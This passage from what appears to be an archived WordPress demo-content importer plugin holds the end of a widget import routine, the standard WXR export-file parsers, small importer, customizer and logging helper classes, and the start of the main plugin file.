				$sidebar_message_type = 'error';
				$sidebar_message = __( 'Sidebar does not exist in theme (using Inactive)', 'claudio' );
			}

			// Result for sidebar
			$results[$sidebar_id]['name'] = ! empty( $wp_registered_sidebars[$sidebar_id]['name'] ) ? $wp_registered_sidebars[$sidebar_id]['name'] : $sidebar_id; // sidebar name if theme supports it; otherwise ID
			$results[$sidebar_id]['message_type'] = $sidebar_message_type;
			$results[$sidebar_id]['message'] = $sidebar_message;
			$results[$sidebar_id]['widgets'] = array();

			// Loop widgets
			foreach ( $widgets as $widget_instance_id => $widget ) {

				$fail = false;

				// Get id_base (remove -# from end) and instance ID number
				$id_base = preg_replace( '/-[0-9]+$/', '', $widget_instance_id );
				$instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id );

				// Does site support this widget?
				if ( ! $fail && ! isset( $available_widgets[$id_base] ) ) {
					$fail = true;
					$widget_message_type = 'error';
					$widget_message = __( 'Site does not support widget', 'claudio' ); // explain why widget not imported
				}

				// Convert multidimensional objects to multidimensional arrays
				// Some plugins like Jetpack Widget Visibility store settings as multidimensional arrays
				// Without this, they are imported as objects and cause fatal error on Widgets page
				// If this creates problems for plugins that do actually intend settings in objects then may need to consider other approach: https://wordpress.org/support/topic/problem-with-array-of-arrays
				// It is probably much more likely that arrays are used than objects, however
				$widget = json_decode( json_encode( $widget ), true );

				// Does widget with identical settings already exist in same sidebar?
				if ( ! $fail && isset( $widget_instances[$id_base] ) ) {

					// Get existing widgets in this sidebar
					$sidebars_widgets = get_option( 'sidebars_widgets' );
					$sidebar_widgets = isset( $sidebars_widgets[$use_sidebar_id] ) ? $sidebars_widgets[$use_sidebar_id] : array(); // check Inactive if that's where will go

					// Loop widgets with ID base
					$single_widget_instances = ! empty( $widget_instances[$id_base] ) ? $widget_instances[$id_base] : array();
					foreach ( $single_widget_instances as $check_id => $check_widget ) {

						// Is widget in same sidebar and has identical settings?
						if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) {

							$fail = true;
							$widget_message_type = 'warning';
							$widget_message = __( 'Widget already exists', 'claudio' ); // explain why widget not imported

							break;

						}

					}

				}

				// No failure
				if ( ! $fail ) {

					// Add widget instance
					$single_widget_instances = get_option( 'widget_' . $id_base ); // all instances for that widget ID base, get fresh every time
					$single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // start fresh if have to
					$single_widget_instances[] = $widget; // add it

						// Get the key it was given
						end( $single_widget_instances );
						$new_instance_id_number = key( $single_widget_instances );

						// If key is 0, make it 1
						// When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it)
						if ( '0' === strval( $new_instance_id_number ) ) {
							$new_instance_id_number = 1;
							$single_widget_instances[$new_instance_id_number] = $single_widget_instances[0];
							unset( $single_widget_instances[0] );
						}

						// Move _multiwidget to end of array for uniformity
						if ( isset( $single_widget_instances['_multiwidget'] ) ) {
							$multiwidget = $single_widget_instances['_multiwidget'];
							unset( $single_widget_instances['_multiwidget'] );
							$single_widget_instances['_multiwidget'] = $multiwidget;
						}

						// Update option with new widget
						update_option( 'widget_' . $id_base, $single_widget_instances );

					// Assign widget instance to sidebar
					$sidebars_widgets = get_option( 'sidebars_widgets' ); // which sidebars have which widgets, get fresh every time
					$new_instance_id = $id_base . '-' . $new_instance_id_number; // use ID number from new widget instance
					$sidebars_widgets[$use_sidebar_id][] = $new_instance_id; // add new instance to sidebar
					update_option( 'sidebars_widgets', $sidebars_widgets ); // save the amended data

					// Success message
					if ( $sidebar_available ) {
						$widget_message_type = 'success';
						$widget_message = __( 'Imported', 'claudio' );
					} else {
						$widget_message_type = 'warning';
						$widget_message = __( 'Imported to Inactive', 'claudio' );
					}

				}

				// Result for widget instance
				$results[$sidebar_id]['widgets'][$widget_instance_id]['name'] = isset( $available_widgets[$id_base]['name'] ) ? $available_widgets[$id_base]['name'] : $id_base; // widget name or ID if name not available (not supported by site)
				$results[$sidebar_id]['widgets'][$widget_instance_id]['title'] = ! empty( $widget['title'] ) ? $widget['title'] : __( 'No Title', 'claudio' ); // show "No Title" if widget instance is untitled
				$results[$sidebar_id]['widgets'][$widget_instance_id]['message_type'] = $widget_message_type;
				$results[$sidebar_id]['widgets'][$widget_instance_id]['message'] = $widget_message;

			}

		}

		// Return results
		return $results;
	}

	/**
	 * Get all available widgets
	 *
	 * Gather site's widgets into array with ID base, name, etc.
	 * Used by export and import functions.
	 *
	 * @global array $wp_registered_widget_updates
	 *
	 * @return array Widget information
	 */
	public function available_widgets() {
		global $wp_registered_widget_controls;

		$widget_controls   = $wp_registered_widget_controls;
		$available_widgets = array();

		foreach ( $widget_controls as $widget ) {
			if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[$widget['id_base']] ) ) { // no dupes
				$available_widgets[$widget['id_base']]['id_base'] = $widget['id_base'];
				$available_widgets[$widget['id_base']]['name']    = $widget['name'];
			}
		}

		return $available_widgets;
	}
}
soo-demo-importer/includes/parsers.php000064400000057126147510273060014143 0ustar00<?php
/**
 * WordPress eXtended RSS file parser implementations
 *
 * @package WordPress
 * @subpackage Importer
 */

/**
 * WordPress Importer class for managing parsing of WXR files.
 */
class WXR_Parser {
	function parse( $file ) {
		// Attempt to use proper XML parsers first
		if ( extension_loaded( 'simplexml' ) ) {
			$parser = new WXR_Parser_SimpleXML;
			$result = $parser->parse( $file );

			// If SimpleXML succeeds or this is an invalid WXR file then return the results
			if ( ! is_wp_error( $result ) || 'SimpleXML_parse_error' != $result->get_error_code() )
				return $result;
		} else if ( extension_loaded( 'xml' ) ) {
			$parser = new WXR_Parser_XML;
			$result = $parser->parse( $file );

			// If XMLParser succeeds or this is an invalid WXR file then return the results
			if ( ! is_wp_error( $result ) || 'XML_parse_error' != $result->get_error_code() )
				return $result;
		}

		// We have a malformed XML file, so display the error and fallthrough to regex
		if ( isset($result) && defined('IMPORT_DEBUG') && IMPORT_DEBUG ) {
			echo '<pre>';
			if ( 'SimpleXML_parse_error' == $result->get_error_code() ) {
				foreach  ( $result->get_error_data() as $error )
					echo $error->line . ':' . $error->column . ' ' . esc_html( $error->message ) . "\n";
			} else if ( 'XML_parse_error' == $result->get_error_code() ) {
				$error = $result->get_error_data();
				echo $error[0] . ':' . $error[1] . ' ' . esc_html( $error[2] );
			}
			echo '</pre>';
			echo '<p><strong>' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . '</strong><br />';
			echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '</p>';
		}

		// use regular expressions if nothing else available or this is bad XML
		$parser = new WXR_Parser_Regex;
		return $parser->parse( $file );
	}
}

/**
 * WXR Parser that makes use of the SimpleXML PHP extension.
 */
class WXR_Parser_SimpleXML {
	function parse( $file ) {
		$authors = $posts = $categories = $tags = $terms = array();

		$internal_errors = libxml_use_internal_errors(true);

		$dom = new DOMDocument;
		$old_value = null;
		if ( function_exists( 'libxml_disable_entity_loader' ) ) {
			$old_value = libxml_disable_entity_loader( true );
		}
		$success = $dom->loadXML( file_get_contents( $file ) );
		if ( ! is_null( $old_value ) ) {
			libxml_disable_entity_loader( $old_value );
		}

		if ( ! $success || isset( $dom->doctype ) ) {
			return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() );
		}

		$xml = simplexml_import_dom( $dom );
		unset( $dom );

		// halt if loading produces an error
		if ( ! $xml )
			return new WP_Error( 'SimpleXML_parse_error', __( 'There was an error when reading this WXR file', 'wordpress-importer' ), libxml_get_errors() );

		$wxr_version = $xml->xpath('/rss/channel/wp:wxr_version');
		if ( ! $wxr_version )
			return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) );

		$wxr_version = (string) trim( $wxr_version[0] );
		// confirm that we are dealing with the correct file format
		if ( ! preg_match( '/^\d+\.\d+$/', $wxr_version ) )
			return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) );

		$base_url = $xml->xpath('/rss/channel/wp:base_site_url');
		$base_url = (string) trim( $base_url[0] );

		$namespaces = $xml->getDocNamespaces();
		if ( ! isset( $namespaces['wp'] ) )
			$namespaces['wp'] = 'http://wordpress.org/export/1.1/';
		if ( ! isset( $namespaces['excerpt'] ) )
			$namespaces['excerpt'] = 'http://wordpress.org/export/1.1/excerpt/';

		// grab authors
		foreach ( $xml->xpath('/rss/channel/wp:author') as $author_arr ) {
			$a = $author_arr->children( $namespaces['wp'] );
			$login = (string) $a->author_login;
			$authors[$login] = array(
				'author_id' => (int) $a->author_id,
				'author_login' => $login,
				'author_email' => (string) $a->author_email,
				'author_display_name' => (string) $a->author_display_name,
				'author_first_name' => (string) $a->author_first_name,
				'author_last_name' => (string) $a->author_last_name
			);
		}

		// grab cats, tags and terms
		foreach ( $xml->xpath('/rss/channel/wp:category') as $term_arr ) {
			$t = $term_arr->children( $namespaces['wp'] );
			$categories[] = array(
				'term_id' => (int) $t->term_id,
				'category_nicename' => (string) $t->category_nicename,
				'category_parent' => (string) $t->category_parent,
				'cat_name' => (string) $t->cat_name,
				'category_description' => (string) $t->category_description
			);
		}

		foreach ( $xml->xpath('/rss/channel/wp:tag') as $term_arr ) {
			$t = $term_arr->children( $namespaces['wp'] );
			$tags[] = array(
				'term_id' => (int) $t->term_id,
				'tag_slug' => (string) $t->tag_slug,
				'tag_name' => (string) $t->tag_name,
				'tag_description' => (string) $t->tag_description
			);
		}

		foreach ( $xml->xpath('/rss/channel/wp:term') as $term_arr ) {
			$t = $term_arr->children( $namespaces['wp'] );
			$terms[] = array(
				'term_id' => (int) $t->term_id,
				'term_taxonomy' => (string) $t->term_taxonomy,
				'slug' => (string) $t->term_slug,
				'term_parent' => (string) $t->term_parent,
				'term_name' => (string) $t->term_name,
				'term_description' => (string) $t->term_description
			);
		}

		// grab posts
		foreach ( $xml->channel->item as $item ) {
			$post = array(
				'post_title' => (string) $item->title,
				'guid' => (string) $item->guid,
			);

			$dc = $item->children( 'http://purl.org/dc/elements/1.1/' );
			$post['post_author'] = (string) $dc->creator;

			$content = $item->children( 'http://purl.org/rss/1.0/modules/content/' );
			$excerpt = $item->children( $namespaces['excerpt'] );
			$post['post_content'] = (string) $content->encoded;
			$post['post_excerpt'] = (string) $excerpt->encoded;

			$wp = $item->children( $namespaces['wp'] );
			$post['post_id'] = (int) $wp->post_id;
			$post['post_date'] = (string) $wp->post_date;
			$post['post_date_gmt'] = (string) $wp->post_date_gmt;
			$post['comment_status'] = (string) $wp->comment_status;
			$post['ping_status'] = (string) $wp->ping_status;
			$post['post_name'] = (string) $wp->post_name;
			$post['status'] = (string) $wp->status;
			$post['post_parent'] = (int) $wp->post_parent;
			$post['menu_order'] = (int) $wp->menu_order;
			$post['post_type'] = (string) $wp->post_type;
			$post['post_password'] = (string) $wp->post_password;
			$post['is_sticky'] = (int) $wp->is_sticky;

			if ( isset($wp->attachment_url) )
				$post['attachment_url'] = (string) $wp->attachment_url;

			foreach ( $item->category as $c ) {
				$att = $c->attributes();
				if ( isset( $att['nicename'] ) )
					$post['terms'][] = array(
						'name' => (string) $c,
						'slug' => (string) $att['nicename'],
						'domain' => (string) $att['domain']
					);
			}

			foreach ( $wp->postmeta as $meta ) {
				$post['postmeta'][] = array(
					'key' => (string) $meta->meta_key,
					'value' => (string) $meta->meta_value
				);
			}

			foreach ( $wp->comment as $comment ) {
				$meta = array();
				if ( isset( $comment->commentmeta ) ) {
					foreach ( $comment->commentmeta as $m ) {
						$meta[] = array(
							'key' => (string) $m->meta_key,
							'value' => (string) $m->meta_value
						);
					}
				}
			
				$post['comments'][] = array(
					'comment_id' => (int) $comment->comment_id,
					'comment_author' => (string) $comment->comment_author,
					'comment_author_email' => (string) $comment->comment_author_email,
					'comment_author_IP' => (string) $comment->comment_author_IP,
					'comment_author_url' => (string) $comment->comment_author_url,
					'comment_date' => (string) $comment->comment_date,
					'comment_date_gmt' => (string) $comment->comment_date_gmt,
					'comment_content' => (string) $comment->comment_content,
					'comment_approved' => (string) $comment->comment_approved,
					'comment_type' => (string) $comment->comment_type,
					'comment_parent' => (string) $comment->comment_parent,
					'comment_user_id' => (int) $comment->comment_user_id,
					'commentmeta' => $meta,
				);
			}

			$posts[] = $post;
		}

		return array(
			'authors' => $authors,
			'posts' => $posts,
			'categories' => $categories,
			'tags' => $tags,
			'terms' => $terms,
			'base_url' => $base_url,
			'version' => $wxr_version
		);
	}
}

/**
 * WXR Parser that makes use of the XML Parser PHP extension.
 */
class WXR_Parser_XML {
	var $wp_tags = array(
		'wp:post_id', 'wp:post_date', 'wp:post_date_gmt', 'wp:comment_status', 'wp:ping_status', 'wp:attachment_url',
		'wp:status', 'wp:post_name', 'wp:post_parent', 'wp:menu_order', 'wp:post_type', 'wp:post_password',
		'wp:is_sticky', 'wp:term_id', 'wp:category_nicename', 'wp:category_parent', 'wp:cat_name', 'wp:category_description',
		'wp:tag_slug', 'wp:tag_name', 'wp:tag_description', 'wp:term_taxonomy', 'wp:term_parent',
		'wp:term_name', 'wp:term_description', 'wp:author_id', 'wp:author_login', 'wp:author_email', 'wp:author_display_name',
		'wp:author_first_name', 'wp:author_last_name',
	);
	var $wp_sub_tags = array(
		'wp:comment_id', 'wp:comment_author', 'wp:comment_author_email', 'wp:comment_author_url',
		'wp:comment_author_IP',	'wp:comment_date', 'wp:comment_date_gmt', 'wp:comment_content',
		'wp:comment_approved', 'wp:comment_type', 'wp:comment_parent', 'wp:comment_user_id',
	);

	function parse( $file ) {
		$this->wxr_version = $this->in_post = $this->cdata = $this->data = $this->sub_data = $this->in_tag = $this->in_sub_tag = false;
		$this->authors = $this->posts = $this->term = $this->category = $this->tag = array();

		$xml = xml_parser_create( 'UTF-8' );
		xml_parser_set_option( $xml, XML_OPTION_SKIP_WHITE, 1 );
		xml_parser_set_option( $xml, XML_OPTION_CASE_FOLDING, 0 );
		xml_set_object( $xml, $this );
		xml_set_character_data_handler( $xml, 'cdata' );
		xml_set_element_handler( $xml, 'tag_open', 'tag_close' );

		if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {
			$current_line = xml_get_current_line_number( $xml );
			$current_column = xml_get_current_column_number( $xml );
			$error_code = xml_get_error_code( $xml );
			$error_string = xml_error_string( $error_code );
			return new WP_Error( 'XML_parse_error', 'There was an error when reading this WXR file', array( $current_line, $current_column, $error_string ) );
		}
		xml_parser_free( $xml );

		if ( ! preg_match( '/^\d+\.\d+$/', $this->wxr_version ) )
			return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) );

		return array(
			'authors' => $this->authors,
			'posts' => $this->posts,
			'categories' => $this->category,
			'tags' => $this->tag,
			'terms' => $this->term,
			'base_url' => $this->base_url,
			'version' => $this->wxr_version
		);
	}

	function tag_open( $parse, $tag, $attr ) {
		if ( in_array( $tag, $this->wp_tags ) ) {
			$this->in_tag = substr( $tag, 3 );
			return;
		}

		if ( in_array( $tag, $this->wp_sub_tags ) ) {
			$this->in_sub_tag = substr( $tag, 3 );
			return;
		}

		switch ( $tag ) {
			case 'category':
				if ( isset($attr['domain'], $attr['nicename']) ) {
					$this->sub_data['domain'] = $attr['domain'];
					$this->sub_data['slug'] = $attr['nicename'];
				}
				break;
			case 'item': $this->in_post = true;
			case 'title': if ( $this->in_post ) $this->in_tag = 'post_title'; break;
			case 'guid': $this->in_tag = 'guid'; break;
			case 'dc:creator': $this->in_tag = 'post_author'; break;
			case 'content:encoded': $this->in_tag = 'post_content'; break;
			case 'excerpt:encoded': $this->in_tag = 'post_excerpt'; break;

			case 'wp:term_slug': $this->in_tag = 'slug'; break;
			case 'wp:meta_key': $this->in_sub_tag = 'key'; break;
			case 'wp:meta_value': $this->in_sub_tag = 'value'; break;
		}
	}

	function cdata( $parser, $cdata ) {
		if ( ! trim( $cdata ) )
			return;

		$this->cdata .= trim( $cdata );
	}

	function tag_close( $parser, $tag ) {
		switch ( $tag ) {
			case 'wp:comment':
				unset( $this->sub_data['key'], $this->sub_data['value'] ); // remove meta sub_data
				if ( ! empty( $this->sub_data ) )
					$this->data['comments'][] = $this->sub_data;
				$this->sub_data = false;
				break;
			case 'wp:commentmeta':
				$this->sub_data['commentmeta'][] = array(
					'key' => $this->sub_data['key'],
					'value' => $this->sub_data['value']
				);
				break;
			case 'category':
				if ( ! empty( $this->sub_data ) ) {
					$this->sub_data['name'] = $this->cdata;
					$this->data['terms'][] = $this->sub_data;
				}
				$this->sub_data = false;
				break;
			case 'wp:postmeta':
				if ( ! empty( $this->sub_data ) )
					$this->data['postmeta'][] = $this->sub_data;
				$this->sub_data = false;
				break;
			case 'item':
				$this->posts[] = $this->data;
				$this->data = false;
				break;
			case 'wp:category':
			case 'wp:tag':
			case 'wp:term':
				$n = substr( $tag, 3 );
				array_push( $this->$n, $this->data );
				$this->data = false;
				break;
			case 'wp:author':
				if ( ! empty($this->data['author_login']) )
					$this->authors[$this->data['author_login']] = $this->data;
				$this->data = false;
				break;
			case 'wp:base_site_url':
				$this->base_url = $this->cdata;
				break;
			case 'wp:wxr_version':
				$this->wxr_version = $this->cdata;
				break;

			default:
				if ( $this->in_sub_tag ) {
					$this->sub_data[$this->in_sub_tag] = ! empty( $this->cdata ) ? $this->cdata : '';
					$this->in_sub_tag = false;
				} else if ( $this->in_tag ) {
					$this->data[$this->in_tag] = ! empty( $this->cdata ) ? $this->cdata : '';
					$this->in_tag = false;
				}
		}

		$this->cdata = false;
	}
}

/**
 * WXR Parser that uses regular expressions. Fallback for installs without an XML parser.
 */
class WXR_Parser_Regex {
	var $authors = array();
	var $posts = array();
	var $categories = array();
	var $tags = array();
	var $terms = array();
	var $base_url = '';

	function WXR_Parser_Regex() {
		$this->__construct();
	}

	function __construct() {
		$this->has_gzip = is_callable( 'gzopen' );
	}

	function parse( $file ) {
		$wxr_version = $in_post = false;

		$fp = $this->fopen( $file, 'r' );
		if ( $fp ) {
			while ( ! $this->feof( $fp ) ) {
				$importline = rtrim( $this->fgets( $fp ) );

				if ( ! $wxr_version && preg_match( '|<wp:wxr_version>(\d+\.\d+)</wp:wxr_version>|', $importline, $version ) )
					$wxr_version = $version[1];

				if ( false !== strpos( $importline, '<wp:base_site_url>' ) ) {
					preg_match( '|<wp:base_site_url>(.*?)</wp:base_site_url>|is', $importline, $url );
					$this->base_url = $url[1];
					continue;
				}
				if ( false !== strpos( $importline, '<wp:category>' ) ) {
					preg_match( '|<wp:category>(.*?)</wp:category>|is', $importline, $category );
					$this->categories[] = $this->process_category( $category[1] );
					continue;
				}
				if ( false !== strpos( $importline, '<wp:tag>' ) ) {
					preg_match( '|<wp:tag>(.*?)</wp:tag>|is', $importline, $tag );
					$this->tags[] = $this->process_tag( $tag[1] );
					continue;
				}
				if ( false !== strpos( $importline, '<wp:term>' ) ) {
					preg_match( '|<wp:term>(.*?)</wp:term>|is', $importline, $term );
					$this->terms[] = $this->process_term( $term[1] );
					continue;
				}
				if ( false !== strpos( $importline, '<wp:author>' ) ) {
					preg_match( '|<wp:author>(.*?)</wp:author>|is', $importline, $author );
					$a = $this->process_author( $author[1] );
					$this->authors[$a['author_login']] = $a;
					continue;
				}
				if ( false !== strpos( $importline, '<item>' ) ) {
					$post = '';
					$in_post = true;
					continue;
				}
				if ( false !== strpos( $importline, '</item>' ) ) {
					$in_post = false;
					$this->posts[] = $this->process_post( $post );
					continue;
				}
				if ( $in_post ) {
					$post .= $importline . "\n";
				}
			}

			$this->fclose($fp);
		}

		if ( ! $wxr_version )
			return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) );

		return array(
			'authors' => $this->authors,
			'posts' => $this->posts,
			'categories' => $this->categories,
			'tags' => $this->tags,
			'terms' => $this->terms,
			'base_url' => $this->base_url,
			'version' => $wxr_version
		);
	}

	function get_tag( $string, $tag ) {
		preg_match( "|<$tag.*?>(.*?)</$tag>|is", $string, $return );
		if ( isset( $return[1] ) ) {
			if ( substr( $return[1], 0, 9 ) == '<![CDATA[' ) {
				if ( strpos( $return[1], ']]]]><![CDATA[>' ) !== false ) {
					preg_match_all( '|<!\[CDATA\[(.*?)\]\]>|s', $return[1], $matches );
					$return = '';
					foreach( $matches[1] as $match )
						$return .= $match;
				} else {
					$return = preg_replace( '|^<!\[CDATA\[(.*)\]\]>$|s', '$1', $return[1] );
				}
			} else {
				$return = $return[1];
			}
		} else {
			$return = '';
		}
		return $return;
	}

	function process_category( $c ) {
		return array(
			'term_id' => $this->get_tag( $c, 'wp:term_id' ),
			'cat_name' => $this->get_tag( $c, 'wp:cat_name' ),
			'category_nicename'	=> $this->get_tag( $c, 'wp:category_nicename' ),
			'category_parent' => $this->get_tag( $c, 'wp:category_parent' ),
			'category_description' => $this->get_tag( $c, 'wp:category_description' ),
		);
	}

	function process_tag( $t ) {
		return array(
			'term_id' => $this->get_tag( $t, 'wp:term_id' ),
			'tag_name' => $this->get_tag( $t, 'wp:tag_name' ),
			'tag_slug' => $this->get_tag( $t, 'wp:tag_slug' ),
			'tag_description' => $this->get_tag( $t, 'wp:tag_description' ),
		);
	}

	function process_term( $t ) {
		return array(
			'term_id' => $this->get_tag( $t, 'wp:term_id' ),
			'term_taxonomy' => $this->get_tag( $t, 'wp:term_taxonomy' ),
			'slug' => $this->get_tag( $t, 'wp:term_slug' ),
			'term_parent' => $this->get_tag( $t, 'wp:term_parent' ),
			'term_name' => $this->get_tag( $t, 'wp:term_name' ),
			'term_description' => $this->get_tag( $t, 'wp:term_description' ),
		);
	}

	function process_author( $a ) {
		return array(
			'author_id' => $this->get_tag( $a, 'wp:author_id' ),
			'author_login' => $this->get_tag( $a, 'wp:author_login' ),
			'author_email' => $this->get_tag( $a, 'wp:author_email' ),
			'author_display_name' => $this->get_tag( $a, 'wp:author_display_name' ),
			'author_first_name' => $this->get_tag( $a, 'wp:author_first_name' ),
			'author_last_name' => $this->get_tag( $a, 'wp:author_last_name' ),
		);
	}

	function process_post( $post ) {
		$post_id        = $this->get_tag( $post, 'wp:post_id' );
		$post_title     = $this->get_tag( $post, 'title' );
		$post_date      = $this->get_tag( $post, 'wp:post_date' );
		$post_date_gmt  = $this->get_tag( $post, 'wp:post_date_gmt' );
		$comment_status = $this->get_tag( $post, 'wp:comment_status' );
		$ping_status    = $this->get_tag( $post, 'wp:ping_status' );
		$status         = $this->get_tag( $post, 'wp:status' );
		$post_name      = $this->get_tag( $post, 'wp:post_name' );
		$post_parent    = $this->get_tag( $post, 'wp:post_parent' );
		$menu_order     = $this->get_tag( $post, 'wp:menu_order' );
		$post_type      = $this->get_tag( $post, 'wp:post_type' );
		$post_password  = $this->get_tag( $post, 'wp:post_password' );
		$is_sticky      = $this->get_tag( $post, 'wp:is_sticky' );
		$guid           = $this->get_tag( $post, 'guid' );
		$post_author    = $this->get_tag( $post, 'dc:creator' );

		$post_excerpt = $this->get_tag( $post, 'excerpt:encoded' );
		$post_excerpt = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_excerpt );
		$post_excerpt = str_replace( '<br>', '<br />', $post_excerpt );
		$post_excerpt = str_replace( '<hr>', '<hr />', $post_excerpt );

		$post_content = $this->get_tag( $post, 'content:encoded' );
		$post_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content );
		$post_content = str_replace( '<br>', '<br />', $post_content );
		$post_content = str_replace( '<hr>', '<hr />', $post_content );

		$postdata = compact( 'post_id', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt',
			'post_title', 'status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent',
			'menu_order', 'post_type', 'post_password', 'is_sticky'
		);

		$attachment_url = $this->get_tag( $post, 'wp:attachment_url' );
		if ( $attachment_url )
			$postdata['attachment_url'] = $attachment_url;

		preg_match_all( '|<category domain="([^"]+?)" nicename="([^"]+?)">(.+?)</category>|is', $post, $terms, PREG_SET_ORDER );
		foreach ( $terms as $t ) {
			$post_terms[] = array(
				'slug' => $t[2],
				'domain' => $t[1],
				'name' => str_replace( array( '<![CDATA[', ']]>' ), '', $t[3] ),
			);
		}
		if ( ! empty( $post_terms ) ) $postdata['terms'] = $post_terms;

		preg_match_all( '|<wp:comment>(.+?)</wp:comment>|is', $post, $comments );
		$comments = $comments[1];
		if ( $comments ) {
			foreach ( $comments as $comment ) {
				preg_match_all( '|<wp:commentmeta>(.+?)</wp:commentmeta>|is', $comment, $commentmeta );
				$commentmeta = $commentmeta[1];
				$c_meta = array();
				foreach ( $commentmeta as $m ) {
					$c_meta[] = array(
						'key' => $this->get_tag( $m, 'wp:meta_key' ),
						'value' => $this->get_tag( $m, 'wp:meta_value' ),
					);
				}

				$post_comments[] = array(
					'comment_id' => $this->get_tag( $comment, 'wp:comment_id' ),
					'comment_author' => $this->get_tag( $comment, 'wp:comment_author' ),
					'comment_author_email' => $this->get_tag( $comment, 'wp:comment_author_email' ),
					'comment_author_IP' => $this->get_tag( $comment, 'wp:comment_author_IP' ),
					'comment_author_url' => $this->get_tag( $comment, 'wp:comment_author_url' ),
					'comment_date' => $this->get_tag( $comment, 'wp:comment_date' ),
					'comment_date_gmt' => $this->get_tag( $comment, 'wp:comment_date_gmt' ),
					'comment_content' => $this->get_tag( $comment, 'wp:comment_content' ),
					'comment_approved' => $this->get_tag( $comment, 'wp:comment_approved' ),
					'comment_type' => $this->get_tag( $comment, 'wp:comment_type' ),
					'comment_parent' => $this->get_tag( $comment, 'wp:comment_parent' ),
					'comment_user_id' => $this->get_tag( $comment, 'wp:comment_user_id' ),
					'commentmeta' => $c_meta,
				);
			}
		}
		if ( ! empty( $post_comments ) ) $postdata['comments'] = $post_comments;

		preg_match_all( '|<wp:postmeta>(.+?)</wp:postmeta>|is', $post, $postmeta );
		$postmeta = $postmeta[1];
		if ( $postmeta ) {
			foreach ( $postmeta as $p ) {
				$post_postmeta[] = array(
					'key' => $this->get_tag( $p, 'wp:meta_key' ),
					'value' => $this->get_tag( $p, 'wp:meta_value' ),
				);
			}
		}
		if ( ! empty( $post_postmeta ) ) $postdata['postmeta'] = $post_postmeta;

		return $postdata;
	}

	function _normalize_tag( $matches ) {
		return '<' . strtolower( $matches[1] );
	}

	function fopen( $filename, $mode = 'r' ) {
		if ( $this->has_gzip )
			return gzopen( $filename, $mode );
		return fopen( $filename, $mode );
	}

	function feof( $fp ) {
		if ( $this->has_gzip )
			return gzeof( $fp );
		return feof( $fp );
	}

	function fgets( $fp, $len = 8192 ) {
		if ( $this->has_gzip )
			return gzgets( $fp, $len );
		return fgets( $fp, $len );
	}

	function fclose( $fp ) {
		if ( $this->has_gzip )
			return gzclose( $fp );
		return fclose( $fp );
	}
}
soo-demo-importer/includes/class-content-importer.php000064400000001423147510273060017065 0ustar00<?php
if ( ! class_exists( 'WP_Importer' ) ) {
	defined( 'WP_LOAD_IMPORTERS' ) || define( 'WP_LOAD_IMPORTERS', true );
	require ABSPATH . '/wp-admin/includes/class-wp-importer.php';
}

// Include required files, if not already present (via separate plugin).
if ( ! class_exists( 'WXR_Importer' ) ) {
	require dirname( __FILE__ ) . '/class-wxr-importer.php';
}

class Soo_Demo_Content_Importer extends WXR_Importer {
	public function __construct( $options = array() ) {
		parent::__construct( $options );

		// Set current user to $mapping variable.
		// Fixes the [WARNING] Could not find the author for ... log warning messages.
		$current_user_obj = wp_get_current_user();
		$this->mapping['user_slug'][$current_user_obj->user_login] = $current_user_obj->ID;
	}
}
soo-demo-importer/includes/customizer-option.php000064400000001122147510273060016157 0ustar00<?php
/**
 * A class that extends WP_Customize_Setting so we can access
 * the protected updated method when importing options.
 *
 * Used in the Customizer importer.
 */

if ( ! class_exists( 'WP_Customize_Setting' ) ) {
	require_once ABSPATH . 'wp-includes/class-wp-customize-setting.php';
}

final class Soo_Demo_Customizer_Option extends WP_Customize_Setting {

	/**
	 * Import an option value for this setting.
	 *
	 * @since 1.1.1
	 * @param mixed $value The option value.
	 * @return void
	 */
	public function import( $value ) {
		$this->update( $value );
	}
}
soo-demo-importer/includes/class-logger-serversentevents.php000064400000001474147510273060020464 0ustar00<?php

class WP_Importer_Logger_ServerSentEvents extends WP_Importer_Logger {
	/**
	 * Logs with an arbitrary level.
	 *
	 * @param mixed $level
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function log( $level, $message, array $context = array() ) {
		$data = compact( 'level', 'message' );

		switch ( $level ) {
			case 'emergency':
			case 'alert':
			case 'critical':
			case 'error':
			case 'warning':
			case 'notice':
			case 'info':
				echo "event: log\n";
				echo 'data: ' . wp_json_encode( $data ) . "\n\n";
				flush();
				break;

			case 'debug':
				if ( defined( 'IMPORT_DEBUG' ) && IMPORT_DEBUG ) {
					echo "event: log\n";
					echo 'data: ' . wp_json_encode( $data ) . "\n\n";
					flush();
					break;
				}
				break;
		}
	}
}
soo-demo-importer/soo-demo-importer.php000064400000047724147510273060014242 0ustar00<?php
/**
 * Plugin Name: One Click Import Demo Content
 * Plugin URI: http://oceanthemes.net/plugin/soo-demo-importer
 * Description: One click import demo content
 * Author: OceanThemes
 * Author URI: http://oceanthemes.net/
 * Version: 1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Main class for importing demo content
 *
 * @version 1.0.0
 */
class Soo_Demo_Importer {
	/**
	 * Demo data configuration
	 *
	 * @var array
	 */
	public $data;

	/**
	 * Construction function
	 * Add new  submenu under Appearance menu
	 */
	public function __construct() {
		$this->data = apply_filters( 'soo_demo_packages', array() );

		add_action( 'admin_menu', array( $this, 'menu' ) );
